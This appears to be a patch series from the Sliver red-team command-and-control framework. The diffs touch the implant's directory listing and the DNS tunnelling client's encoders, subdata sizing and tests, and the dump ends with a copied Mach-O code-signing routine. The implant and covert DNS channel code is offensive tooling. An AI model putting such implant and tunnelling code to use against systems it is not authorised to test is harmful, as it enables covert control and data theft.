golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
|
||||
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173 h1:/jFs0duh4rdb8uIfPMv78iAJGcPKDeqAFnaLBropIC4=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I=
|
||||
google.golang.org/protobuf v1.32.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
|
||||
@@ -155,7 +155,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
path, filter := determineDirPathFilter(targetPath)
|
||||
|
||||
dir, files, err := getDirList(path)
|
||||
dir, rootDirEntry, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -166,6 +166,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
dirList.Files = []*sliverpb.FileInfo{}
|
||||
rootDirInfo, err := rootDirEntry.Info()
|
||||
if err == nil && filter == "" {
|
||||
// We should not get an error because we created the DirEntry object from the FileInfo object
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
|
||||
Size: rootDirInfo.Size(),
|
||||
ModTime: rootDirInfo.ModTime().Unix(),
|
||||
Mode: rootDirInfo.Mode().String(),
|
||||
Uid: getUid(rootDirInfo),
|
||||
Gid: getGid(rootDirInfo),
|
||||
IsDir: rootDirInfo.IsDir(),
|
||||
})
|
||||
}
|
||||
|
||||
var match bool = false
|
||||
var linkPath string = ""
|
||||
@@ -226,19 +239,30 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []fs.DirEntry, error) {
|
||||
func getDirList(target string) (string, fs.DirEntry, []fs.DirEntry, error) {
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
return "", nil, nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
if rootInfo, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
/*
|
||||
We could place the entry for the directory itself
|
||||
at the beginning of the returned slice of DirEntry
|
||||
objects, but then it is not clear if that is the
|
||||
root directory or a directory / file in the root
|
||||
directory with the same name as the root directory.
|
||||
|
||||
Using WalkDir is not great here because you cannot
|
||||
tell it to not be recursive, so we will be wasting
|
||||
cycles telling it to skip directories and files
|
||||
*/
|
||||
files, err := os.ReadDir(dir)
|
||||
return dir, files, err
|
||||
return dir, fs.FileInfoToDirEntry(rootInfo), files, err
|
||||
}
|
||||
return dir, []fs.DirEntry{}, errors.New("directory does not exist")
|
||||
return dir, nil, []fs.DirEntry{}, errors.New("directory does not exist")
|
||||
}
|
||||
|
||||
func rmHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -31,8 +31,8 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -190,7 +190,7 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
|
||||
pid := os.Getpid()
|
||||
path := fmt.Sprintf("/proc/%d/fd/", pid)
|
||||
dir, files, err := getDirList(path)
|
||||
dir, rootDirEntry, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -201,6 +201,19 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
dirList.Files = []*sliverpb.FileInfo{}
|
||||
rootDirInfo, err := rootDirEntry.Info()
|
||||
if err == nil {
|
||||
// We should not get an error because we created the DirEntry object from the FileInfo object
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
|
||||
Size: rootDirInfo.Size(),
|
||||
ModTime: rootDirInfo.ModTime().Unix(),
|
||||
Mode: rootDirInfo.Mode().String(),
|
||||
Uid: getUid(rootDirInfo),
|
||||
Gid: getGid(rootDirInfo),
|
||||
IsDir: rootDirInfo.IsDir(),
|
||||
})
|
||||
}
|
||||
|
||||
for _, dirEntry := range files {
|
||||
//log.Printf("File: %s\n", dirEntry.Name())
|
||||
|
||||
@@ -162,6 +162,60 @@ func DNSStartSession(parent string, opts *DNSOptions) (*SliverDNSClient, error)
|
||||
return client, nil
|
||||
}
|
||||
|
||||
type DNSBase32Encoder struct{}
|
||||
|
||||
const alpha = "abcdefghijklmnopqrstuvwxyz"
|
||||
|
||||
// Encode - Base32 Encode
|
||||
func (e DNSBase32Encoder) Encode(data []byte) ([]byte, error) {
|
||||
encodedData, err := encoders.Base32.Encode(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
index := insecureRand.Intn(len(alpha))
|
||||
if index&1 == 1 {
|
||||
index = index - 1
|
||||
}
|
||||
prefix := alpha[index]
|
||||
return append([]byte{prefix}, encodedData...), nil
|
||||
}
|
||||
|
||||
// Decode - Base32 Decode
|
||||
func (e DNSBase32Encoder) Decode(data []byte) ([]byte, error) {
|
||||
if len(data) < 1 {
|
||||
return nil, errors.New("invalid data")
|
||||
}
|
||||
return encoders.Base32.Decode(data[1:])
|
||||
}
|
||||
|
||||
type DNSBase58Encoder struct{}
|
||||
|
||||
// Encode - Base58 Encode
|
||||
func (e DNSBase58Encoder) Encode(data []byte) ([]byte, error) {
|
||||
encodedData, err := encoders.Base58.Encode(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
index := insecureRand.Intn(len(alpha))
|
||||
if index&1 != 1 {
|
||||
index = index + 1
|
||||
if len(alpha) <= index {
|
||||
index = index - 2
|
||||
}
|
||||
}
|
||||
prefix := alpha[index]
|
||||
return append([]byte{prefix}, encodedData...), nil
|
||||
}
|
||||
|
||||
// Decode - Base58 Decode
|
||||
func (e DNSBase58Encoder) Decode(data []byte) ([]byte, error) {
|
||||
if len(data) < 1 {
|
||||
return nil, errors.New("invalid data")
|
||||
}
|
||||
return encoders.Base58.Decode(data[1:])
|
||||
}
|
||||
|
||||
// NewDNSClient - Initialize a new DNS client, generally you should use DNSStartSession
|
||||
// instead of this function, this is exported mostly for unit testing
|
||||
func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
@@ -179,9 +233,10 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
closed: true,
|
||||
|
||||
WorkersPerResolver: opts.WorkersPerResolver,
|
||||
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
|
||||
base32: encoders.Base32Encoder{},
|
||||
base58: encoders.Base58Encoder{},
|
||||
// parent domain data encoder
|
||||
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64) - 1,
|
||||
base32: DNSBase32Encoder{},
|
||||
base58: DNSBase58Encoder{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -210,8 +265,8 @@ type SliverDNSClient struct {
|
||||
workerPool []*DNSWorker
|
||||
WorkersPerResolver int
|
||||
|
||||
base32 encoders.Base32Encoder
|
||||
base58 encoders.Base58Encoder
|
||||
base32 DNSBase32Encoder
|
||||
base58 DNSBase58Encoder
|
||||
|
||||
enableCaseSensitiveEncoder bool
|
||||
}
|
||||
@@ -460,8 +515,8 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
log.Printf("[dns] read envelope ...")
|
||||
// {{end}}
|
||||
|
||||
resolver, meta := s.randomResolver()
|
||||
pollMsg, err := s.pollMsg(meta)
|
||||
resolver, _ := s.randomResolver()
|
||||
pollMsg, err := s.pollMsg()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -536,7 +591,7 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
log.Printf("[dns] clear msg domain: %v", domain)
|
||||
// {{end}}
|
||||
|
||||
respData, _, err = resolver.A(domain)
|
||||
_, _, err = resolver.A(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] clear msg error: %s", err)
|
||||
@@ -740,13 +795,13 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
stop = len(data) - 1 // make sure the loop is executed at least once
|
||||
}
|
||||
|
||||
// Sometimes adding a byte will result in +2 chars so we -1 the subdata space
|
||||
// Sometimes adding a byte will result in +2 chars so we -2 the subdata space
|
||||
encoded = ""
|
||||
// {{if .Config.Debug}}
|
||||
//log.Printf("[dns] encoded: %d, subdata space: %d | stop: %d, len: %d",
|
||||
// len(encoded), (s.subdataSpace - 1), stop, len(data))
|
||||
// len(encoded), (s.subdataSpace - 2), stop, len(data))
|
||||
// {{end}}
|
||||
for len(encoded) < (s.subdataSpace-1) && stop < len(data) {
|
||||
for len(encoded) < (s.subdataSpace-2) && stop < len(data) {
|
||||
stop++
|
||||
// {{if .Config.Debug}}
|
||||
// log.Printf("[dns] shave data [%d:%d] of %d", start, stop, len(data))
|
||||
@@ -889,7 +944,7 @@ func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
||||
return domain, nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
|
||||
func (s *SliverDNSClient) pollMsg() (string, error) {
|
||||
nonceBuf := make([]byte, 8)
|
||||
rand.Read(nonceBuf)
|
||||
pollMsg, _ := proto.Marshal(&dnspb.DNSMessage{
|
||||
|
||||
@@ -75,28 +75,28 @@ func TestSplitBufferBase58(t *testing.T) {
|
||||
t.Logf("Testing with client1")
|
||||
client1 := NewDNSClient(parent1, opts)
|
||||
testData := randomData(2048)
|
||||
clientSplitBuffer(t, client1, encoders.Base58{}, testData)
|
||||
clientSplitBuffer(t, client1, DNSBase58Encoder{}, testData)
|
||||
|
||||
t.Logf("Testing with client2")
|
||||
client2 := NewDNSClient(parent2, opts)
|
||||
testData2 := randomData(2048)
|
||||
clientSplitBuffer(t, client2, encoders.Base58{}, testData2)
|
||||
clientSplitBuffer(t, client2, DNSBase58Encoder{}, testData2)
|
||||
|
||||
t.Logf("Testing with client3")
|
||||
client3 := NewDNSClient(parent3, opts)
|
||||
testData3 := randomData(2048)
|
||||
clientSplitBuffer(t, client3, encoders.Base58{}, testData3)
|
||||
clientSplitBuffer(t, client3, DNSBase58Encoder{}, testData3)
|
||||
|
||||
t.Logf("Testing with client max")
|
||||
clientMax := NewDNSClient(parentMax, opts)
|
||||
testDataMax := randomData(2048)
|
||||
clientSplitBuffer(t, clientMax, encoders.Base58{}, testDataMax)
|
||||
clientSplitBuffer(t, clientMax, DNSBase58Encoder{}, testDataMax)
|
||||
|
||||
t.Logf("Testing all clients with randomly sized data")
|
||||
for _, client := range []*SliverDNSClient{client1, client2, client3} {
|
||||
for count := 0; count < 10; count++ {
|
||||
testData := randomDataRandomSize(2 * 1024 * 1024)
|
||||
clientSplitBuffer(t, client, encoders.Base58{}, testData)
|
||||
clientSplitBuffer(t, client, DNSBase58Encoder{}, testData)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -106,28 +106,28 @@ func TestSplitBufferBase32(t *testing.T) {
|
||||
t.Logf("Testing with client1")
|
||||
client1 := NewDNSClient(parent1, opts)
|
||||
testData := randomData(2048)
|
||||
clientSplitBuffer(t, client1, encoders.Base32{}, testData)
|
||||
clientSplitBuffer(t, client1, DNSBase32Encoder{}, testData)
|
||||
|
||||
t.Logf("Testing with client2")
|
||||
client2 := NewDNSClient(parent2, opts)
|
||||
testData2 := randomData(2048)
|
||||
clientSplitBuffer(t, client2, encoders.Base32{}, testData2)
|
||||
clientSplitBuffer(t, client2, DNSBase32Encoder{}, testData2)
|
||||
|
||||
t.Logf("Testing with client3")
|
||||
client3 := NewDNSClient(parent3, opts)
|
||||
testData3 := randomData(2048)
|
||||
clientSplitBuffer(t, client3, encoders.Base32{}, testData3)
|
||||
clientSplitBuffer(t, client3, DNSBase32Encoder{}, testData3)
|
||||
|
||||
t.Logf("Testing with client max")
|
||||
clientMax := NewDNSClient(parentMax, opts)
|
||||
testDataMax := randomData(2048)
|
||||
clientSplitBuffer(t, clientMax, encoders.Base32{}, testDataMax)
|
||||
clientSplitBuffer(t, clientMax, DNSBase32Encoder{}, testDataMax)
|
||||
|
||||
t.Logf("Testing all clients with randomly sized data")
|
||||
for _, client := range []*SliverDNSClient{client1, client2, client3} {
|
||||
for count := 0; count < 10; count++ {
|
||||
testData := randomDataRandomSize(2 * 1024 * 1024)
|
||||
clientSplitBuffer(t, client, encoders.Base32{}, testData)
|
||||
clientSplitBuffer(t, client, DNSBase32Encoder{}, testData)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -186,41 +186,41 @@ func TestSubdataSpace(t *testing.T) {
|
||||
|
||||
// 1.example.com. (14 chars parent, 240 chars subdata)
|
||||
// Grand Total: 254 chars
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 15 - [64 - 64 - 64 - 47] = 63 + 63 + 63 + 46 (235)
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 15 - [64 - 64 - 64 - 47] - 1 = 63 + 63 + 63 + 46 (234)
|
||||
// expected value is thus 235 (max chars without '.'), rounded down if applicable
|
||||
client1 := NewDNSClient(parent1, opts)
|
||||
if client1.subdataSpace != 235 {
|
||||
if client1.subdataSpace != 234 {
|
||||
t.Fatalf("Unexpected subdata space for parent %s: %d", parent1, client1.subdataSpace)
|
||||
}
|
||||
|
||||
// .something-longer.example.com. (30 chars parent, 224 chars subdata)
|
||||
// Grand Total: 254 chars
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 30 - [64 - 64 - 64 - 32] = 63 + 63 + 63 + 31 (220)
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 30 - [64 - 64 - 64 - 32] - 1 = 63 + 63 + 63 + 31 (219)
|
||||
// expected value is thus 235 (max chars without '.'), rounded down if applicable
|
||||
client2 := NewDNSClient(parent2, opts)
|
||||
if client2.subdataSpace != 220 {
|
||||
if client2.subdataSpace != 219 {
|
||||
t.Fatalf("Unexpected subdata space for parent %s: %d", parent2, client2.subdataSpace)
|
||||
}
|
||||
|
||||
// .something-even-longer.example.computer. (40 chars parent, 214 chars subdata)
|
||||
// Grand Total: 254 chars
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 40 - [64 - 64 - 64 - 22] = 63 + 63 + 63 + 21 (210)
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 40 - [64 - 64 - 64 - 22] - 1 = 63 + 63 + 63 + 21 (209)
|
||||
// expected value is thus 235 (max chars without '.'), rounded down if applicable
|
||||
client3 := NewDNSClient(parent3, opts)
|
||||
if client3.subdataSpace != 210 {
|
||||
if client3.subdataSpace != 209 {
|
||||
t.Fatalf("Unexpected subdata space for parent %s: %d", parent3, client3.subdataSpace)
|
||||
}
|
||||
|
||||
// "maxParent" (154 chars parent, 100 chars subdata)
|
||||
// Grand Total: 254 chars
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 154 - [64 - 36] = 63 + 35 (98)
|
||||
// parent | subdata with '.' | subdata without '.'
|
||||
// 254 - 154 - [64 - 36] - 1 = 63 + 35 (97)
|
||||
// expected value is thus 98 (max chars without '.'), rounded down if applicable
|
||||
clientMax := NewDNSClient(parentMax, opts)
|
||||
if clientMax.subdataSpace != 98 {
|
||||
if clientMax.subdataSpace != 97 {
|
||||
t.Fatalf("Unexpected subdata space for parent %s: %d", parentMax, clientMax.subdataSpace)
|
||||
}
|
||||
}
|
||||
|
||||
+363
@@ -0,0 +1,363 @@
|
||||
// Copyright 2020 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package codesign provides basic functionalities for
|
||||
// ad-hoc code signing of Mach-O files.
|
||||
//
|
||||
// This is not a general tool for code-signing. It is made
|
||||
// specifically for the Go toolchain. It uses the same
|
||||
// ad-hoc signing algorithm as the Darwin linker.
|
||||
package universal
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// Code signature layout.
|
||||
//
|
||||
// The code signature is a block of bytes that contains
|
||||
// a SuperBlob, which contains one or more Blobs. For ad-hoc
|
||||
// signing, a single CodeDirectory Blob suffices.
|
||||
//
|
||||
// A SuperBlob starts with its header (the binary representation
|
||||
// of the SuperBlob struct), followed by a list of (in our case,
|
||||
// one) Blobs (offset and size). A CodeDirectory Blob starts
|
||||
// with its head (the binary representation of CodeDirectory struct),
|
||||
// followed by the identifier (as a C string) and the hashes, at
|
||||
// the corresponding offsets.
|
||||
//
|
||||
// The signature data must be included in the __LINKEDIT segment.
|
||||
// In the Mach-O file header, an LC_CODE_SIGNATURE load command
|
||||
// points to the data.
|
||||
|
||||
const (
|
||||
pageSizeBits = 12
|
||||
pageSize = 1 << pageSizeBits
|
||||
machoHeaderSize64 = 8 * 4 // size of 64-bit Mach-O header
|
||||
)
|
||||
|
||||
const LC_CODE_SIGNATURE = 0x1d
|
||||
|
||||
// Constants and struct layouts are from
|
||||
// https://opensource.apple.com/source/xnu/xnu-4903.270.47/osfmk/kern/cs_blobs.h
|
||||
|
||||
const (
|
||||
CSMAGIC_REQUIREMENT = 0xfade0c00 // single Requirement blob
|
||||
CSMAGIC_REQUIREMENTS = 0xfade0c01 // Requirements vector (internal requirements)
|
||||
CSMAGIC_CODEDIRECTORY = 0xfade0c02 // CodeDirectory blob
|
||||
CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0 // embedded form of signature data
|
||||
CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1 // multi-arch collection of embedded signatures
|
||||
|
||||
CSSLOT_CODEDIRECTORY = 0 // slot index for CodeDirectory
|
||||
)
|
||||
|
||||
const (
|
||||
CS_HASHTYPE_SHA1 = 1
|
||||
CS_HASHTYPE_SHA256 = 2
|
||||
CS_HASHTYPE_SHA256_TRUNCATED = 3
|
||||
CS_HASHTYPE_SHA384 = 4
|
||||
)
|
||||
|
||||
const (
|
||||
CS_EXECSEG_MAIN_BINARY = 0x1 // executable segment denotes main binary
|
||||
CS_EXECSEG_ALLOW_UNSIGNED = 0x10 // allow unsigned pages (for debugging)
|
||||
CS_EXECSEG_DEBUGGER = 0x20 // main binary is debugger
|
||||
CS_EXECSEG_JIT = 0x40 // JIT enabled
|
||||
CS_EXECSEG_SKIP_LV = 0x80 // skip library validation
|
||||
CS_EXECSEG_CAN_LOAD_CDHASH = 0x100 // can bless cdhash for execution
|
||||
CS_EXECSEG_CAN_EXEC_CDHASH = 0x200 // can execute blessed cdhash
|
||||
)
|
||||
|
||||
type Blob struct {
|
||||
typ uint32 // type of entry
|
||||
offset uint32 // offset of entry
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (b *Blob) put(out []byte) []byte {
|
||||
out = put32be(out, b.typ)
|
||||
out = put32be(out, b.offset)
|
||||
return out
|
||||
}
|
||||
|
||||
const blobSize = 2 * 4
|
||||
|
||||
type SuperBlob struct {
|
||||
magic uint32 // magic number
|
||||
length uint32 // total length of SuperBlob
|
||||
count uint32 // number of index entries following
|
||||
// blobs []Blob
|
||||
}
|
||||
|
||||
func (s *SuperBlob) put(out []byte) []byte {
|
||||
out = put32be(out, s.magic)
|
||||
out = put32be(out, s.length)
|
||||
out = put32be(out, s.count)
|
||||
return out
|
||||
}
|
||||
|
||||
const superBlobSize = 3 * 4
|
||||
|
||||
type CodeDirectory struct {
|
||||
magic uint32 // magic number (CSMAGIC_CODEDIRECTORY)
|
||||
length uint32 // total length of CodeDirectory blob
|
||||
version uint32 // compatibility version
|
||||
flags uint32 // setup and mode flags
|
||||
hashOffset uint32 // offset of hash slot element at index zero
|
||||
identOffset uint32 // offset of identifier string
|
||||
nSpecialSlots uint32 // number of special hash slots
|
||||
nCodeSlots uint32 // number of ordinary (code) hash slots
|
||||
codeLimit uint32 // limit to main image signature range
|
||||
hashSize uint8 // size of each hash in bytes
|
||||
hashType uint8 // type of hash (cdHashType* constants)
|
||||
_pad1 uint8 // unused (must be zero)
|
||||
pageSize uint8 // log2(page size in bytes); 0 => infinite
|
||||
_pad2 uint32 // unused (must be zero)
|
||||
scatterOffset uint32
|
||||
teamOffset uint32
|
||||
_pad3 uint32
|
||||
codeLimit64 uint64
|
||||
execSegBase uint64
|
||||
execSegLimit uint64
|
||||
execSegFlags uint64
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (c *CodeDirectory) put(out []byte) []byte {
|
||||
out = put32be(out, c.magic)
|
||||
out = put32be(out, c.length)
|
||||
out = put32be(out, c.version)
|
||||
out = put32be(out, c.flags)
|
||||
out = put32be(out, c.hashOffset)
|
||||
out = put32be(out, c.identOffset)
|
||||
out = put32be(out, c.nSpecialSlots)
|
||||
out = put32be(out, c.nCodeSlots)
|
||||
out = put32be(out, c.codeLimit)
|
||||
out = put8(out, c.hashSize)
|
||||
out = put8(out, c.hashType)
|
||||
out = put8(out, c._pad1)
|
||||
out = put8(out, c.pageSize)
|
||||
out = put32be(out, c._pad2)
|
||||
out = put32be(out, c.scatterOffset)
|
||||
out = put32be(out, c.teamOffset)
|
||||
out = put32be(out, c._pad3)
|
||||
out = put64be(out, c.codeLimit64)
|
||||
out = put64be(out, c.execSegBase)
|
||||
out = put64be(out, c.execSegLimit)
|
||||
out = put64be(out, c.execSegFlags)
|
||||
return out
|
||||
}
|
||||
|
||||
const codeDirectorySize = 13*4 + 4 + 4*8
|
||||
|
||||
// CodeSigCmd is Mach-O LC_CODE_SIGNATURE load command.
|
||||
type CodeSigCmd struct {
|
||||
Cmd uint32 // LC_CODE_SIGNATURE
|
||||
Cmdsize uint32 // sizeof this command (16)
|
||||
Dataoff uint32 // file offset of data in __LINKEDIT segment
|
||||
Datasize uint32 // file size of data in __LINKEDIT segment
|
||||
}
|
||||
|
||||
func FindCodeSigCmd(f *macho.File) (CodeSigCmd, bool) {
|
||||
get32 := f.ByteOrder.Uint32
|
||||
for _, l := range f.Loads {
|
||||
data := l.Raw()
|
||||
cmd := get32(data)
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
return CodeSigCmd{
|
||||
cmd,
|
||||
get32(data[4:]),
|
||||
get32(data[8:]),
|
||||
get32(data[12:]),
|
||||
}, true
|
||||
}
|
||||
}
|
||||
return CodeSigCmd{}, false
|
||||
}
|
||||
|
||||
func put32be(b []byte, x uint32) []byte { binary.BigEndian.PutUint32(b, x); return b[4:] }
|
||||
func put64be(b []byte, x uint64) []byte { binary.BigEndian.PutUint64(b, x); return b[8:] }
|
||||
func put8(b []byte, x uint8) []byte { b[0] = x; return b[1:] }
|
||||
func puts(b, s []byte) []byte { n := copy(b, s); return b[n:] }
|
||||
|
||||
// Size computes the size of the code signature.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Size(codeSize int64, id string) int64 {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
cdirSz := hashOff + nhashes*sha256.Size
|
||||
return int64(superBlobSize+blobSize) + cdirSz
|
||||
}
|
||||
|
||||
// Sign generates an ad-hoc code signature and writes it to out.
|
||||
// out must have length at least Size(codeSize, id).
|
||||
// data is the file content without the signature, of size codeSize.
|
||||
// textOff and textSize is the file offset and size of the text segment.
|
||||
// isMain is true if this is a main executable.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Sign(out []byte, data io.Reader, id string, codeSize, textOff, textSize int64, isMain bool) {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
sz := Size(codeSize, id)
|
||||
|
||||
// emit blob headers
|
||||
sb := SuperBlob{
|
||||
magic: CSMAGIC_EMBEDDED_SIGNATURE,
|
||||
length: uint32(sz),
|
||||
count: 1,
|
||||
}
|
||||
blob := Blob{
|
||||
typ: CSSLOT_CODEDIRECTORY,
|
||||
offset: superBlobSize + blobSize,
|
||||
}
|
||||
cdir := CodeDirectory{
|
||||
magic: CSMAGIC_CODEDIRECTORY,
|
||||
length: uint32(sz) - (superBlobSize + blobSize),
|
||||
version: 0x20400,
|
||||
flags: 0x20002, // adhoc | linkerSigned
|
||||
hashOffset: uint32(hashOff),
|
||||
identOffset: uint32(idOff),
|
||||
nCodeSlots: uint32(nhashes),
|
||||
codeLimit: uint32(codeSize),
|
||||
hashSize: sha256.Size,
|
||||
hashType: CS_HASHTYPE_SHA256,
|
||||
pageSize: uint8(pageSizeBits),
|
||||
execSegBase: uint64(textOff),
|
||||
execSegLimit: uint64(textSize),
|
||||
}
|
||||
if isMain {
|
||||
cdir.execSegFlags = CS_EXECSEG_MAIN_BINARY
|
||||
}
|
||||
|
||||
outp := out
|
||||
outp = sb.put(outp)
|
||||
outp = blob.put(outp)
|
||||
outp = cdir.put(outp)
|
||||
|
||||
// emit the identifier
|
||||
outp = puts(outp, []byte(id+"\000"))
|
||||
|
||||
// emit hashes
|
||||
var buf [pageSize]byte
|
||||
h := sha256.New()
|
||||
p := 0
|
||||
for p < int(codeSize) {
|
||||
n, err := io.ReadFull(data, buf[:])
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
panic(err)
|
||||
}
|
||||
if p+n > int(codeSize) {
|
||||
n = int(codeSize) - p
|
||||
}
|
||||
p += n
|
||||
h.Reset()
|
||||
h.Write(buf[:n])
|
||||
b := h.Sum(nil)
|
||||
outp = puts(outp, b[:])
|
||||
}
|
||||
}
|
||||
|
||||
// machoCodeSign - sign the macho file
|
||||
// This code has been borrowed from https://github.com/golang/go/blob/master/src/cmd/internal/codesign/codesign.go
|
||||
func machoCodeSign(fname string) error {
|
||||
f, err := os.OpenFile(fname, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
mf, err := macho.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if mf.Magic != macho.Magic64 {
|
||||
return fmt.Errorf("not 64-bit Mach-O file: %s", fname)
|
||||
}
|
||||
|
||||
// Find existing LC_CODE_SIGNATURE and __LINKEDIT segment
|
||||
var sigOff, sigSz, csCmdOff, linkeditOff int64
|
||||
var linkeditSeg, textSeg *macho.Segment
|
||||
loadOff := int64(machoHeaderSize64)
|
||||
get32 := mf.ByteOrder.Uint32
|
||||
for _, l := range mf.Loads {
|
||||
data := l.Raw()
|
||||
cmd, sz := get32(data), get32(data[4:])
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
sigOff = int64(get32(data[8:]))
|
||||
sigSz = int64(get32(data[12:]))
|
||||
csCmdOff = loadOff
|
||||
}
|
||||
